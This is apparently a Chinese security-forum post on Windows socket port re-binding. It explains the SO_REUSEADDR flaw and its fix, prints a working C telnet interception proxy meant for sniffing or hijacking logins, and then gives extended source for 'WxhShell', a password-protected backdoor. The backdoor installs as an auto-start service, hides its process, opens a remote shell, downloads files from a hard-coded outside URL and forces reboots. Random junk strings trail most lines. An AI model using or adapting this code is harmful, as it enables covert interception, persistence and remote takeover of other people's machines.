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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &gR)bNIC_=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %z0@4G q  
$pGk%8l%  
  saddr.sin_family = AF_INET; R OQIw  
a?!Joi[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); KPA5 X]  
#0WO~wL  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Gu_Rf&:  
$bKa"T*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z;mDMvIu (  
{#y HL  
  这意味着什么?意味着可以进行如下的攻击: fJC,ubP[5  
br'/>Un"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4[&6yHJ^  
v+=_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) P5P<-T{-c  
t(MlZ>H  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .ODtduURe  
K~WwV8c9;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  n%<.,(.(S  
n{Mj<\kL  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -}juj;IVv  
Ve8`5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Yazpfw 7'd  
8`qw1dF  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2s6Hr;^w.1  
_H8)O2mJ  
  #include #PA"l` "  
  #include I/)dXk~  
  #include xt"/e-h }  
  #include    =4MiV]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7F'61}qL  
  int main() 6<t\KMd  
  { T+4Musu{V  
  WORD wVersionRequested; &:jE+l  
  DWORD ret; l>&)_:\  
  WSADATA wsaData; 8a)EL*LH`  
  BOOL val; d*>M<6b-  
  SOCKADDR_IN saddr; }}(~'  
  SOCKADDR_IN scaddr; XLbrE|0A?  
  int err; `?6m0|\@  
  SOCKET s; >uJrq""+  
  SOCKET sc; ohM'Fx"q  
  int caddsize; u%[*;@;9+  
  HANDLE mt; d) o<R;F  
  DWORD tid;   Da@tpKU)p  
  wVersionRequested = MAKEWORD( 2, 2 ); T8hQ< \g  
  err = WSAStartup( wVersionRequested, &wsaData ); 3iEcLhe"4  
  if ( err != 0 ) { 4 |5ekwk  
  printf("error!WSAStartup failed!\n"); nC&rQQFF  
  return -1; 0`ib_&yI  
  } 3P\I;xM  
  saddr.sin_family = AF_INET; xZhD6'Zzz  
   [7s5Vt|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 sy@k3wQ  
wA~Nfn ^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _RmE+Xg2  
  saddr.sin_port = htons(23); i ~FCt4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ev guw*u  
  { bL[PNUG  
  printf("error!socket failed!\n"); *r% mqAx(  
  return -1; <zDe;&  
  } +`4}bc ,G  
  val = TRUE; r?+u}uH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  #b"IX`5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) P`%ppkzV6  
  { ?\pE#~m  
  printf("error!setsockopt failed!\n"); RU >vnDaC  
  return -1; q,(&2./  
  } slmxit  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; UQdQtj1'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 JX/d;N7a  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `i:0dVs  
}-Ma ~/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) RtW5U8  
  { 'q^Gg;c>+  
  ret=GetLastError(); w0I /  
  printf("error!bind failed!\n"); ?^!dLW  
  return -1; xXYens}  
  } cU6#^PFu  
  listen(s,2); @ixX?N)V  
  while(1) &B85;  
  { Gehl/i-  
  caddsize = sizeof(scaddr); ppD ~xg]  
  //接受连接请求 ,TtDCcjd%f  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); zn x_p /V  
  if(sc!=INVALID_SOCKET) W.R'2R#  
  { &zd7t6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @iceMD.  
  if(mt==NULL) }:8>>lQ  
  { 4a|Fx  
  printf("Thread Creat Failed!\n"); wEbs E<</  
  break; T ?? aVe]c  
  } 16Y~5JAc  
  } Z4-dF;7  
  CloseHandle(mt); i+Dgw  
  } 79x9<,a)  
  closesocket(s); )89jP088V  
  WSACleanup(); C941 @I  
  return 0; M!l5,ycF  
  }   kw~H%-,]  
  DWORD WINAPI ClientThread(LPVOID lpParam) "6.p=te  
  { =k7\g /  
  SOCKET ss = (SOCKET)lpParam; wg.fo:Q  
  SOCKET sc; LD~'^+W  
  unsigned char buf[4096]; P$ef,ZW"  
  SOCKADDR_IN saddr; z{0;%E  
  long num; rM=A"  
  DWORD val; aF"Z!HD  
  DWORD ret; P/9J!.Cm  
  //如果是隐藏端口应用的话,可以在此处加一些判断 * _l o;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Lp)8SmN  
  saddr.sin_family = AF_INET; RT"2Us]*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); B/hHkOoo  
  saddr.sin_port = htons(23); 8m6nw0   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L)'rM-nkFh  
  { AS_+}*WSFQ  
  printf("error!socket failed!\n"); faOWhIG  
  return -1; KAcri<^G  
  } l_-n&(N2<[  
  val = 100; D>e\OfTR:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5a!e%jj  
  { G)Bq?=P  
  ret = GetLastError(); LC\:xia{X  
  return -1; 0_mvz%[J  
  } [(F<|f:n  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %*q0+_  
  { mh7sY;SvM  
  ret = GetLastError(); vW-`=30  
  return -1; { DQ E7kI  
  } U"Hquo  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x <\D@X^  
  { &N_c-@2O  
  printf("error!socket connect failed!\n"); WriN]/yD  
  closesocket(sc); &qP-x98E?  
  closesocket(ss); X5|/s::u  
  return -1; H"rzRd; S  
  } u\6]^T6  
  while(1) 'b?.\Bm;  
  { za]p,bMX  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )USC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .!8X]trEg  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 X/8iJ-KB  
  num = recv(ss,buf,4096,0); t<k [W'#  
  if(num>0) 1 j^c  
  send(sc,buf,num,0); Y0B1xL@  
  else if(num==0) 8Cs$NUU  
  break; -y*_.Ws9  
  num = recv(sc,buf,4096,0); _|  
  if(num>0) /4 LR0`A'  
  send(ss,buf,num,0); sK%Hx`  
  else if(num==0) }t51U0b%  
  break; Kxl,] |e>  
  } %|(?!w7  
  closesocket(ss); ]AA%J@  
  closesocket(sc); 90qj6.SQ  
  return 0 ; V9E6W*IE  
  } $C05iD  
CC>fm 1#i\  
MFH"$t+  
========================================================== p=~h|(M|  
5M Wvu,'%8  
下边附上一个代码,,WXhSHELL R@<_Hb;Aeb  
[Yy\>  
========================================================== U$A7EFK'  
f' '{.L  
#include "stdafx.h" {x|kg;  
*F szGn<  
#include <stdio.h> :G`L3E&1s  
#include <string.h> {b,2;w}95  
#include <windows.h> >Qm<-g  
#include <winsock2.h> m(Y.X=EZr  
#include <winsvc.h> 3u4*ofjE5  
#include <urlmon.h> Cfr<D3&,]  
Xn/ n|[  
#pragma comment (lib, "Ws2_32.lib") {x[;5TM  
#pragma comment (lib, "urlmon.lib") 7V} ]C>G  
CzSZ>E$%U  
#define MAX_USER   100 // 最大客户端连接数 SH vaV[C  
#define BUF_SOCK   200 // sock buffer 2Io6s '  
#define KEY_BUFF   255 // 输入 buffer {Vxc6,=  
feI./E  
#define REBOOT     0   // 重启 ;+i'0$;*w  
#define SHUTDOWN   1   // 关机 M ?Ndy*]  
Vd%v_Ek  
#define DEF_PORT   5000 // 监听端口 4bi NGl~  
T A\4uy6o  
#define REG_LEN     16   // 注册表键长度 J%\- 1  
#define SVC_LEN     80   // NT服务名长度 gMs+?SNHAh  
*K(k Kph  
// 从dll定义API Ufdl|smt1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :xFu_%7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); veUa|Bx.(v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %kh#{*q$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <vB<`   
#wenX$UTh3  
// wxhshell配置信息 D XV@DQ  
struct WSCFG { !K3})& w  
  int ws_port;         // 监听端口 4^DVW*OiI  
  char ws_passstr[REG_LEN]; // 口令 J7BFk ?=  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9u,8q:I.?  
  char ws_regname[REG_LEN]; // 注册表键名 ~x|aoozL  
  char ws_svcname[REG_LEN]; // 服务名 j8GY`f#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *@_u4T7|{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7\A4vUI3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mn]-rTr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E *F*nd]K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $. %L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n /QfdAg  
TUh&d5a9H  
}; xvU]jl6d  
6HoqEku/Q  
// default Wxhshell configuration Q}kfM^i  
struct WSCFG wscfg={DEF_PORT, AZwl fdLB  
    "xuhuanlingzhe", OAv>g pw  
    1, kdp% !S%2  
    "Wxhshell", ^=EjadVQ  
    "Wxhshell", 5|ic3  
            "WxhShell Service", o`bo#A  
    "Wrsky Windows CmdShell Service", xS'zZ%?  
    "Please Input Your Password: ", &lAQ &  
  1, A\K,_&x1Z  
  "http://www.wrsky.com/wxhshell.exe", %*lp< D  
  "Wxhshell.exe" '\`6ot8  
    }; pb#mg^8  
7K&}C;+  
// 消息定义模块 x97L6!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Sw)i1S9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WsR+Np@c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `)32&\  
char *msg_ws_ext="\n\rExit."; [C1 LT2a  
char *msg_ws_end="\n\rQuit."; n~tqO!q  
char *msg_ws_boot="\n\rReboot..."; fb .J$fX  
char *msg_ws_poff="\n\rShutdown..."; #,L~w  
char *msg_ws_down="\n\rSave to "; !@G)$g=<  
|; $Bb866/  
char *msg_ws_err="\n\rErr!";  1,,|MW  
char *msg_ws_ok="\n\rOK!"; 1dFa@<5  
f1mHN7hxW  
char ExeFile[MAX_PATH]; &D]p,  
int nUser = 0; <},1Ncl  
HANDLE handles[MAX_USER];  G2`${aMS  
int OsIsNt; 3JO]f5  
2*[QZ9U[@  
SERVICE_STATUS       serviceStatus; mN*?%t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PU1,DU  
VO=!8Yx[  
// 函数声明 ?cKZ_c  
int Install(void); *6Q|}b[qcD  
int Uninstall(void);  c 6"Ib)  
int DownloadFile(char *sURL, SOCKET wsh); }#1/fok  
int Boot(int flag); 2N5`'  
void HideProc(void); bFY~oa%C  
int GetOsVer(void); 1@>$ Gcc  
int Wxhshell(SOCKET wsl); Y9Z]i$qS&k  
void TalkWithClient(void *cs); _ \D"E>oM  
int CmdShell(SOCKET sock); >oGiIYq  
int StartFromService(void); fE]XWA4U  
int StartWxhshell(LPSTR lpCmdLine); -C-yQ.>\T#  
-F@L}|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o`n$b(VZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j8Cho5C  
k*?I>%^6#T  
// 数据结构和表定义 W *),y:  
SERVICE_TABLE_ENTRY DispatchTable[] = j~[z2tV  
{ .uMn0PE   
{wscfg.ws_svcname, NTServiceMain}, d,B:kE0Y  
{NULL, NULL} Bf~vA4  
}; l~w2B>i)  
j i7[nY  
// 自我安装 of%Ktm5Qi  
int Install(void) Y[}>CYO  
{ __G?0*3G  
  char svExeFile[MAX_PATH]; L.*M&Ry  
  HKEY key; *zb Nd:i9  
  strcpy(svExeFile,ExeFile); kYzIp  
UFXaEl}R   
// 如果是win9x系统,修改注册表设为自启动 cXA i k-  
if(!OsIsNt) { 52@C9Q,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H`*LBqDk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +^` I?1\UF  
  RegCloseKey(key); vNyf64)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G!Op~p@Jm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0pZ4BZdT|  
  RegCloseKey(key); xgpi-l  
  return 0; R<[qGt|L  
    } d{XO/YQw  
  } >_o}  
} 6I1,:nLL<  
else { ^.#jF#u~  
Qj,]N@7  
// 如果是NT以上系统,安装为系统服务  Jd%H2`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vY%d   
if (schSCManager!=0) N$h{Yvbn  
{ ]F;f`o  
  SC_HANDLE schService = CreateService ~V&aUDO>/  
  ( 9/hrjItV  
  schSCManager, FO!]P   
  wscfg.ws_svcname, KMU4n-s"o  
  wscfg.ws_svcdisp, eln&]d;  
  SERVICE_ALL_ACCESS, dE:+k/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ko;{I?c  
  SERVICE_AUTO_START, A3|Dz&@:  
  SERVICE_ERROR_NORMAL, hvA^n@nr  
  svExeFile, zoOaVV&1  
  NULL, hJDi7P  
  NULL, c%&: 6QniZ  
  NULL, 30XR 82P/  
  NULL, %;e/7`>Ma  
  NULL ;k7xMZs  
  ); 3T"j)R_=l  
  if (schService!=0) I3,= 0z  
  { $4tWI O  
  CloseServiceHandle(schService); h<Ft_#|o[  
  CloseServiceHandle(schSCManager); D&}3$ 7>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R,F[XI+=N  
  strcat(svExeFile,wscfg.ws_svcname); 89\n;5'f4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3 |hHR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mH Ic f{RG  
  RegCloseKey(key); )=AHf?hn  
  return 0; GFel(cx:K  
    } 4F{)i  
  } 0TGLM#{  
  CloseServiceHandle(schSCManager); 9T |IvQK8  
} VJdIHsI  
} NR -!VJQ  
"Qja1TQ  
return 1; dHK`eS$sb  
} xER\ZpA :,  
7VMvF/ap]u  
// 自我卸载 ai nG6Y<O`  
int Uninstall(void) vgUb{D  
{ =,Dqqf  
  HKEY key; Xlb0/T<g!  
<^zHE=h"  
if(!OsIsNt) { du)~kU>l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W Dg+J  
  RegDeleteValue(key,wscfg.ws_regname); KuMF^0V%c  
  RegCloseKey(key); `FsH}UPu b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d4nH_?  
  RegDeleteValue(key,wscfg.ws_regname); Iz ;G*W18  
  RegCloseKey(key); 6xZ=^;H  
  return 0; 4\6N~P86  
  } J2j U4mR  
} G3rj`Sg^c  
} *cC_j*1@  
else { Ti'}MC+0  
4dhvFGlW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k'#(1(xj  
if (schSCManager!=0) {%IExPJ  
{ I_xX Dr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /Wy.>YC|  
  if (schService!=0) ox%9Ph  
  { mExVYp h  
  if(DeleteService(schService)!=0) { ^_ kJKM,  
  CloseServiceHandle(schService); #/I[Jqf  
  CloseServiceHandle(schSCManager); xia|+  
  return 0; t`+'r}=d  
  } \[jq4`\$  
  CloseServiceHandle(schService); 7DIIx}A  
  } 9:e YU =  
  CloseServiceHandle(schSCManager); CE"JS-S?  
} S-YM%8A[  
} ed:@C?  
,2j.<g&   
return 1; qA!]E^0*Ke  
} VMCLHpSfW  
&NSY9'N,  
// 从指定url下载文件 KID,|K  
int DownloadFile(char *sURL, SOCKET wsh) 6<$Odd  
{ 8 O67  
  HRESULT hr; cKn`/\.H  
char seps[]= "/"; 5ux`U{`m  
char *token; r" K':O6y  
char *file; !YP@m~  
char myURL[MAX_PATH]; YSj+\Z$(  
char myFILE[MAX_PATH]; |QMhMGjV  
4WE6fJ2X  
strcpy(myURL,sURL); M4d47<'*~  
  token=strtok(myURL,seps); IXb}AxB f  
  while(token!=NULL) MNg^]tpf  
  { STglw-TC\  
    file=token; aDehqP6vf  
  token=strtok(NULL,seps); JMVNmq&0  
  } =i(?deR  
5r?m&28X  
GetCurrentDirectory(MAX_PATH,myFILE); ~u.T-0F  
strcat(myFILE, "\\"); z Nl ,  
strcat(myFILE, file); YFTjPBV  
  send(wsh,myFILE,strlen(myFILE),0); sF7^qrVQP9  
send(wsh,"...",3,0); sg8/#_S1i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @o-B{ EH8  
  if(hr==S_OK) -_<}$9lz  
return 0; (?H0+zws^  
else l9Q(xuhv  
return 1; @?[1_g_'P  
jr)7kP@  
} [y0O{,lI  
Iu{kPyx  
// 系统电源模块 8&Myva  
int Boot(int flag) Hk7q{`:N  
{ 9<vWcq*4  
  HANDLE hToken; }/,HM9Ke  
  TOKEN_PRIVILEGES tkp; ~h"/Tce  
XUF\r]B,9  
  if(OsIsNt) { 3&x-}y~sg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @m?QR(LJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zh $}~RG[  
    tkp.PrivilegeCount = 1; )I\=BPo|B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zvvP81$W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *FfMI  
if(flag==REBOOT) { i%{3W:!4t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S2>c#BQ  
  return 0; q\rC5gk >  
} Lw'9  
else { j&UMjI9[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zyg:nKQW  
  return 0; HK)cKzG[s!  
} W[[bV  
  } ~O 3D[PNW~  
  else { KvQ,;A  
if(flag==REBOOT) { 5[{*{^F4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !WkIi^T  
  return 0; E`j-6:  
} \7z^!m  
else { 9e U[*S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K\^ 0_F K  
  return 0; [~\PQYm'  
} 0Y]0!}  
} dJ:MjQG`W  
\#'TNmS  
return 1; IkzTJ%>  
} #&8}<8V  
,uz ]V1  
// win9x进程隐藏模块 |KYEK|  
void HideProc(void) O|cu.u|  
{ -S%x wJKM  
l$*=<tV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m6 s7F/  
  if ( hKernel != NULL ) QHBtWQgS  
  { OndhLLz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k#}g,0@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x\s,= n3z  
    FreeLibrary(hKernel); Ovw[b2ii  
  } qP*}.Sqk7  
jy2IZ o  
return; JM.XH7k  
} _U| 7'^|  
_kFYBd  
// 获取操作系统版本 02AI%OOH  
int GetOsVer(void) $!A:5jech  
{ 1on'^8]0  
  OSVERSIONINFO winfo; iF+RnWX\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V+wH?H=  
  GetVersionEx(&winfo); bVr*h2 p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  17g^ALs  
  return 1; 1+y"i<3)  
  else UFn8kBk  
  return 0; ps:f=6m2  
} pL1s@KR  
o=fgin/E\  
// 客户端句柄模块 Ix DWJ#k  
int Wxhshell(SOCKET wsl) oCi ~P}r  
{ T*q"N?/4  
  SOCKET wsh; nX%AeDBAT  
  struct sockaddr_in client; Yig0/ "  
  DWORD myID; %.x@gi q  
=F%RLpNU4  
  while(nUser<MAX_USER) $.e)  
{ {0jIY  
  int nSize=sizeof(client); +S{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \x\.  
  if(wsh==INVALID_SOCKET) return 1; .5tg4%l  
4B O %{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /-*hjX$n  
if(handles[nUser]==0) )q?$p9  
  closesocket(wsh); ,=w!vO5s  
else : 1)}Epo,  
  nUser++; \gKdD S  
  } ?AsDk~3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oFg'wAO.  
2*[Un(  
  return 0; ]if;A)'  
} :k"rhI  
@!H '+c  
// 关闭 socket 1Kc^m\  
void CloseIt(SOCKET wsh) %jKH?%Ih  
{ j 2}v}  
closesocket(wsh); 5d 5t9+t  
nUser--; ]tVl{" .{  
ExitThread(0); 1Ii| {vR  
} <?|6*2_=  
R7aXR\ R  
// 客户端请求句柄 ep?:;98|t  
void TalkWithClient(void *cs) ,olwwv_8G  
{ g X/NtO %  
0 BC`iql5  
  SOCKET wsh=(SOCKET)cs; O)5 #Fcp(  
  char pwd[SVC_LEN]; y&rY0bm  
  char cmd[KEY_BUFF]; \!PV*%P  
char chr[1]; 1o#vhk/ "+  
int i,j; ;eR{tH /4  
Ao*FcrXN  
  while (nUser < MAX_USER) { SKx e3  
QN #)F  
if(wscfg.ws_passstr) { V_M@g;<o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8nu> gA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $h]NXC6J  
  //ZeroMemory(pwd,KEY_BUFF); "`]'ZIx[R/  
      i=0; 9Z9l:}bO  
  while(i<SVC_LEN) { V85.DK!  
'?k' 6R$'\  
  // 设置超时 S-P{/;c@  
  fd_set FdRead; "i''Ui\H  
  struct timeval TimeOut; `t9.xB#Z  
  FD_ZERO(&FdRead); \)GR\~z0h  
  FD_SET(wsh,&FdRead); J(hA^;8:  
  TimeOut.tv_sec=8; ;(`e^IVf  
  TimeOut.tv_usec=0; - #Jj-t_Fe  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /xF 9:r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cL ae=N  
{Bc#?n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QWQ!Ak  
  pwd=chr[0]; )L|C'dJ<k`  
  if(chr[0]==0xd || chr[0]==0xa) { iW":DOdi_  
  pwd=0; &6Ns7w6*z  
  break; RpULm1b  
  } {dDq*sLf  
  i++; u9 %;{:]h  
    } QW,cn7  
kO jEY  
  // 如果是非法用户,关闭 socket SC]6F*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z%KL[R}^w;  
} x{~_/;\p3  
E}Ljo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g&q^.7c}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \I:UC %  
oO8]lHS?@  
while(1) { nhp)yW  
hJ<:-u+yk}  
  ZeroMemory(cmd,KEY_BUFF); }WA<=9e  
cgzy0$8dj\  
      // 自动支持客户端 telnet标准   gZ1N&/9;  
  j=0; ,!jR:nApE  
  while(j<KEY_BUFF) { Vn@A]Jx^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *h>OW  
  cmd[j]=chr[0]; 5 Xk~,%-C  
  if(chr[0]==0xa || chr[0]==0xd) { |&9tU  
  cmd[j]=0; +}&pVe\t  
  break; bb*c+XN0  
  } )~1.<((<  
  j++; vM5k4%D  
    } Y"r3i]  
="/R5fp  
  // 下载文件 o]dK^[/*  
  if(strstr(cmd,"http://")) { B8`R(vu;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qxRT1B]{Wx  
  if(DownloadFile(cmd,wsh)) D%6ir*%T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e!TG< (S  
  else u!hqq^1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }]uB? +c  
  } Iz 1*4@  
  else { "(9=h@@Y"  
u?F7 L8q]  
    switch(cmd[0]) { &z7N\n  
  }w;Q^EU  
  // 帮助  ]H@v  
  case '?': { aa%Yk"V @  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T3=-UYx]  
    break; Lr!L}y9T+  
  } ,e}mR>i=e  
  // 安装 8Sd?b5|G~  
  case 'i': { f(EYx)gZ  
    if(Install()) .Y=Z!Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7vB9K_wCI  
    else < P?3GT/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yt]Oj*nn0K  
    break; S jC)6mo  
    } n_e}>1_  
  // 卸载 |H3?ox*  
  case 'r': { A>rWGo.{E  
    if(Uninstall()) @g@ fL%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \@iOnRuHn9  
    else wN/*|?`Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ')Dp%"\?  
    break; !W+p<F1i  
    } i-K"9z| )  
  // 显示 wxhshell 所在路径 -(%ar%~Zd  
  case 'p': { WrIL]kJw^  
    char svExeFile[MAX_PATH]; /)eNx  
    strcpy(svExeFile,"\n\r"); "(HA9:  
      strcat(svExeFile,ExeFile); i-Ge *?  
        send(wsh,svExeFile,strlen(svExeFile),0); *Bb|N--jI  
    break; oF 1W}DtA  
    } .O@q5G  
  // 重启 [~Z'xY y  
  case 'b': { [F BCz>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zx_O"0{5  
    if(Boot(REBOOT)) _k"&EW{ Ii  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <MWXew7b  
    else { S1x.pLHj8  
    closesocket(wsh); 5;sQ@  
    ExitThread(0); xqi*N13  
    } !?us[f=g%  
    break; %Mb( c+7  
    } q|Pt>4c5?  
  // 关机 mV! @oNCK  
  case 'd': { +UpMMh q  
